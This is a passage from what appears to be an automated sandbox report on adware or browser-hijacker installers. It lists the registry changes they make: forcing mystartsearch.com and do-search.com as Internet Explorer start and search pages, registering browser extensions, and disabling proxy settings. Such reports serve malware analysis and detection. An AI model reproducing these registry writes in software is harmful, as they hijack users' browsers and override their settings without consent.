"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@""%windir%\System32]
"ie4uinit.exe"",-738" = "Start Internet Explorer without ActiveX controls or browser extensions."

[HKLM\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe http://www.mystartsearch.com/?type=sc&ts=1423621851&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\mystartsearchSoftware\mystartsearchhp]
"oem" = "smt"

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "1"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.mystartsearch.com/?type=hp&ts=1423621851&from=smt&uid=535559167_198339_B48A115F"
"Search Page" = "http://www.mystartsearch.com/web/?type=ds&ts=1423621851&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.mystartsearch.com/?type=hp&ts=1423621851&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"Publisher" = "mystartsearch"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423621851&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"
"DisplayName" = "mystartsearch"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.mystartsearch.com/?type=hp&ts=1423621851&from=smt&uid=535559167_198339_B48A115F"

[HKCU\Software\Mozilla\Extends]
"ptid" = "smt"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.mystartsearch.com/?type=hp&ts=1423621851&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "mystartsearch"

[HKLM\SOFTWARE\Wow6432Node\Mozilla\Firefox\Extensions]
"[email protected]" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]"

The process %original file name%.exe:3900 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe,"

The process ProtectWindowsManager.exe:3856 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\services\eventlog\Application\WindowsMangerProtect]
"EventMessageFile" = "C:\ProgramData\WindowsMangerPro"
"TypesSupported" = "7"

The process ProtectWindowsManager.exe:3332 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"
"AutoConfigURL"
"ProxyServer"

The process XTab_v4.0.exe:3324 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\HELPDIR]
"(Default)" = "%Program Files% (x86)\XTab"

[HKLM\SOFTWARE\Wow6432Node\supTab]
"ptid" = "smt"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"TopResultURL" = "http://www.bing.com/search?q={searchTerms}&src=IE-TopResult&FORM=IETR02"
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4B 00 00 00 09 00 00 00 00 00 00 00"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0]
"(Default)" = "SupTabLib"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURL" = "http://www.bing.com/favicon.ico"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\0\win32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}]
"(Default)" = "IETabPage Class"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\Version]
"(Default)" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico"
"DisplayName" = "Bing"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconURL" = "http://www.google.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}"

[HKLM\SOFTWARE\Wow6432Node\SupDp]
"dir" = "%Program Files% (x86)\XTab"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconURL" = "http://do-search.com//favicon.ico"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"TopResultURL" = "http://www.google.com/search?q={searchTerms}&sourceid=ie7&rls=com.microsoft:{language}:{referrer:source}&ie={inputEncoding?}&oe={outputEncoding?}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"TopResultURL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423621851&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURLFallback" = "http://www.bing.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"DisplayName" = "Google"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"DisplayName" = "e"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{E733165D-CBCF-4FDA-883E-ADEF965B476C}.ico"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process Lexdja.exe:3672 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\AppDataLow\Software\Crossrider]
"Bic" = "BBFE2B1E132147DEAB3E6E2BB23A4FA7IE"

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\App Lid\Installer]
"BundledFirefox" = "1"

[HKCU\Software\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"Publisher" = "Lid"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Verifier" = "fc8e5e54143a4ed9b899fe7618a763a3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"DisplayName" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "9F 4E 6B D5 A2 45 D0 01"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"UninstallString" = "%Program Files% (x86)\App Lid\Uninstall.exe /fcp=1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"CrPublisherId" = "25286"

[HKCU\Software\AppDataLow\Software\Crossrider]
"Verifier" = "fc8e5e54143a4ed9b899fe7618a763a3"

[HKCU\Software\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "3D CA B2 D8 A2 45 D0 01"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"DisplayVersion" = "1.36.01.22"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Bic" = "BBFE2B1E132147DEAB3E6E2BB23A4FA7IE"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4A 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"CrAppId" = "65743"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"DisplayIcon" = "%Program Files% (x86)\App Lid\utils.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\InstalledBrowserExtensions\Lid]
"65743" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "3D CA B2 D8 A2 45 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process GoogleUpdateComRegisterShell64.exe:3796 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Interface\{DCAB8386-4F03-4DBD-A366-D90BC9F68DE6}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{6DB17455-4E85-46E7-9D23-E555E4B005AF}\NumMethods]
"(Default)" = "10"

[HKCR\Interface\{49D7563B-2DDB-4831-88C8-768A53833837}\NumMethods]
"(Default)" = "13"

[HKCR\Interface\{76F7B787-A67C-4C73-82C7-31F5E3AABC5C}\NumMethods]
"(Default)" = "41"

[HKCR\Interface\{49D7563B-2DDB-4831-88C8-768A53833837}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{3D05F64F-71E3-48A5-BF6B-83315BC8AE1F}]
"(Default)" = "IAppCommand2"

[HKCR\Interface\{5CCCB0EF-7073-4516-8028-4C628D0C8AAB}\NumMethods]
"(Default)" = "4"

[HKCR\Interface\{4DE778FE-F195-4EE3-9DAB-FE446C239221}\NumMethods]
"(Default)" = "11"

[HKCR\Interface\{1C642CED-CA3B-4013-A9DF-CA6CE5FF6503}]
"(Default)" = "IProgressWndEvents"

[HKCR\Interface\{18D0F672-18B4-48E6-AD36-6E6BF01DBBC4}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{6DB17455-4E85-46E7-9D23-E555E4B005AF}]
"(Default)" = "IGoogleUpdate3"

[HKCR\Interface\{31AC3F11-E5EA-4A85-8A3D-8E095A39C27B}]
"(Default)" = "IGoogleUpdate"

[HKCR\CLSID\{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}\InProcServer32]
"(Default)" = "%Program Files% (x86)\Google\Update\1.3.26.9\psmachine_64.dll"

[HKCR\CLSID\{003EB908-0B86-44F8-86F0-B19A7022449C}\InprocHandler32]
"(Default)" = "%Program Files% (x86)\Google\Update\1.3.26.9\psmachine_64.dll"

[HKCR\Interface\{4DE778FE-F195-4EE3-9DAB-FE446C239221}]
"(Default)" = "IAppCommand"

[HKCR\Interface\{5CCCB0EF-7073-4516-8028-4C628D0C8AAB}]
"(Default)" = "IOneClickProcessLauncher"

[HKCR\Interface\{D106AB5F-A70E-400E-A21B-96208C1D8DBB}\NumMethods]
"(Default)" = "7"

[HKCR\Interface\{247954F9-9EDC-4E68-8CC3-150C2B89EADF}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{49D7563B-2DDB-4831-88C8-768A53833837}]
"(Default)" = "IJobObserver"

[HKCR\Interface\{909489C2-85A6-4322-AA56-D25278649D67}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{128C2DA6-2BC0-44C0-B3F6-4EC22E647964}\NumMethods]
"(Default)" = "6"

[HKCR\Interface\{B3A47570-0A85-4AEA-8270-529D47899603}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{4E223325-C16B-4EEB-AEDC-19AA99A237FA}\NumMethods]
"(Default)" = "8"

[HKCR\Interface\{31AC3F11-E5EA-4A85-8A3D-8E095A39C27B}\NumMethods]
"(Default)" = "5"

[HKCR\Interface\{76F7B787-A67C-4C73-82C7-31F5E3AABC5C}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\CLSID\{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}\InProcServer32]
"ThreadingModel" = "Both"

[HKCR\Interface\{6DB17455-4E85-46E7-9D23-E555E4B005AF}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{D106AB5F-A70E-400E-A21B-96208C1D8DBB}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{2E629606-312A-482F-9B12-2C4ABF6F0B6D}]
"(Default)" = "ICoCreateAsyncStatus"

[HKCR\Interface\{247954F9-9EDC-4E68-8CC3-150C2B89EADF}\NumMethods]
"(Default)" = "24"

[HKCR\Interface\{DAB1D343-1B2A-47F9-B445-93DC50704BFE}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{5CCCB0EF-7073-4516-8028-4C628D0C8AAB}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{B3A47570-0A85-4AEA-8270-529D47899603}\NumMethods]
"(Default)" = "4"

[HKCR\Interface\{1C642CED-CA3B-4013-A9DF-CA6CE5FF6503}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{31AC3F11-E5EA-4A85-8A3D-8E095A39C27B}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{5B25A8DC-1780-4178-A629-6BE8B8DEFAA2}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{2E629606-312A-482F-9B12-2C4ABF6F0B6D}\NumMethods]
"(Default)" = "10"

[HKCR\Interface\{3D05F64F-71E3-48A5-BF6B-83315BC8AE1F}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{FE908CDD-22BB-472A-9870-1A0390E42F36}]
"(Default)" = "IAppBundle"

[HKCR\CLSID\{9D6AA569-9F30-41AD-885A-346685C74928}\InprocServer32]
"(Default)" = "%Program Files% (x86)\Google\Update\1.3.26.9\psmachine_64.dll"

[HKCR\Interface\{494B20CF-282E-4BDD-9F5D-B70CB09D351E}\NumMethods]
"(Default)" = "8"

[HKCR\Interface\{2D363682-561D-4C3A-81C6-F2F82107562A}\NumMethods]
"(Default)" = "4"

[HKCR\CLSID\{003EB908-0B86-44F8-86F0-B19A7022449C}\InprocHandler32]
"ThreadingModel" = "Both"

[HKCR\Interface\{18D0F672-18B4-48E6-AD36-6E6BF01DBBC4}]
"(Default)" = "IAppWeb"

[HKCR\Interface\{BCDCB538-01C0-46D1-A6A7-52F4D021C272}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{4DE778FE-F195-4EE3-9DAB-FE446C239221}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{FE908CDD-22BB-472A-9870-1A0390E42F36}\NumMethods]
"(Default)" = "41"

[HKCR\Interface\{494B20CF-282E-4BDD-9F5D-B70CB09D351E}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{2D363682-561D-4C3A-81C6-F2F82107562A}]
"(Default)" = "IGoogleUpdate3WebSecurity"

[HKCR\Interface\{4E223325-C16B-4EEB-AEDC-19AA99A237FA}]
"(Default)" = "IRegistrationUpdateHook"

[HKCR\Interface\{2D363682-561D-4C3A-81C6-F2F82107562A}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{247954F9-9EDC-4E68-8CC3-150C2B89EADF}]
"(Default)" = "ICurrentState"

[HKCR\Interface\{18D0F672-18B4-48E6-AD36-6E6BF01DBBC4}\NumMethods]
"(Default)" = "17"

[HKCR\Interface\{DCAB8386-4F03-4DBD-A366-D90BC9F68DE6}]
"(Default)" = "IPackage"

[HKCR\Interface\{909489C2-85A6-4322-AA56-D25278649D67}]
"(Default)" = "IGoogleUpdateCore"

[HKCR\Interface\{1C642CED-CA3B-4013-A9DF-CA6CE5FF6503}\NumMethods]
"(Default)" = "9"

[HKCR\Interface\{D106AB5F-A70E-400E-A21B-96208C1D8DBB}]
"(Default)" = "IProcessLauncher2"

[HKCR\Interface\{084D78A8-B084-4E14-A629-A2C419B0E3D9}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{909489C2-85A6-4322-AA56-D25278649D67}\NumMethods]
"(Default)" = "4"

[HKCR\Interface\{BCDCB538-01C0-46D1-A6A7-52F4D021C272}]
"(Default)" = "IAppVersion"

[HKCR\Interface\{DCAB8386-4F03-4DBD-A366-D90BC9F68DE6}\NumMethods]
"(Default)" = "10"

[HKCR\Interface\{BCDCB538-01C0-46D1-A6A7-52F4D021C272}\NumMethods]
"(Default)" = "10"

[HKCR\Interface\{FE908CDD-22BB-472A-9870-1A0390E42F36}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{5B25A8DC-1780-4178-A629-6BE8B8DEFAA2}\NumMethods]
"(Default)" = "4"

[HKCR\Interface\{DAB1D343-1B2A-47F9-B445-93DC50704BFE}\NumMethods]
"(Default)" = "4"

[HKCR\Interface\{128C2DA6-2BC0-44C0-B3F6-4EC22E647964}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\CLSID\{9D6AA569-9F30-41AD-885A-346685C74928}\InprocServer32]
"ThreadingModel" = "Both"

[HKCR\Interface\{8476CE12-AE1F-4198-805C-BA0F9B783F57}]
"(Default)" = "IAppCommandWeb"

[HKCR\Interface\{76F7B787-A67C-4C73-82C7-31F5E3AABC5C}]
"(Default)" = "IApp"

[HKCR\Interface\{3D05F64F-71E3-48A5-BF6B-83315BC8AE1F}\NumMethods]
"(Default)" = "12"

[HKCR\Interface\{084D78A8-B084-4E14-A629-A2C419B0E3D9}]
"(Default)" = "IApp2"

[HKCR\Interface\{0CD01D1E-4A1C-489D-93B9-9B6672877C57}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{8476CE12-AE1F-4198-805C-BA0F9B783F57}\NumMethods]
"(Default)" = "11"

[HKCR\Interface\{DD42475D-6D46-496A-924E-BD5630B4CBBA}\NumMethods]
"(Default)" = "24"

[HKCR\Interface\{0CD01D1E-4A1C-489D-93B9-9B6672877C57}]
"(Default)" = "IAppVersionWeb"

[HKCR\Interface\{0CD01D1E-4A1C-489D-93B9-9B6672877C57}\NumMethods]
"(Default)" = "10"

[HKCR\Interface\{494B20CF-282E-4BDD-9F5D-B70CB09D351E}]
"(Default)" = "IGoogleUpdate3Web"

[HKCR\Interface\{DD42475D-6D46-496A-924E-BD5630B4CBBA}]
"(Default)" = "IAppBundleWeb"

[HKCR\Interface\{8476CE12-AE1F-4198-805C-BA0F9B783F57}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\CLSID\{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}]
"(Default)" = "PSFactoryBuffer"

[HKCR\Interface\{084D78A8-B084-4E14-A629-A2C419B0E3D9}\NumMethods]
"(Default)" = "43"

[HKCR\Interface\{2E629606-312A-482F-9B12-2C4ABF6F0B6D}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Interface\{DD42475D-6D46-496A-924E-BD5630B4CBBA}\ProxyStubClsid32]
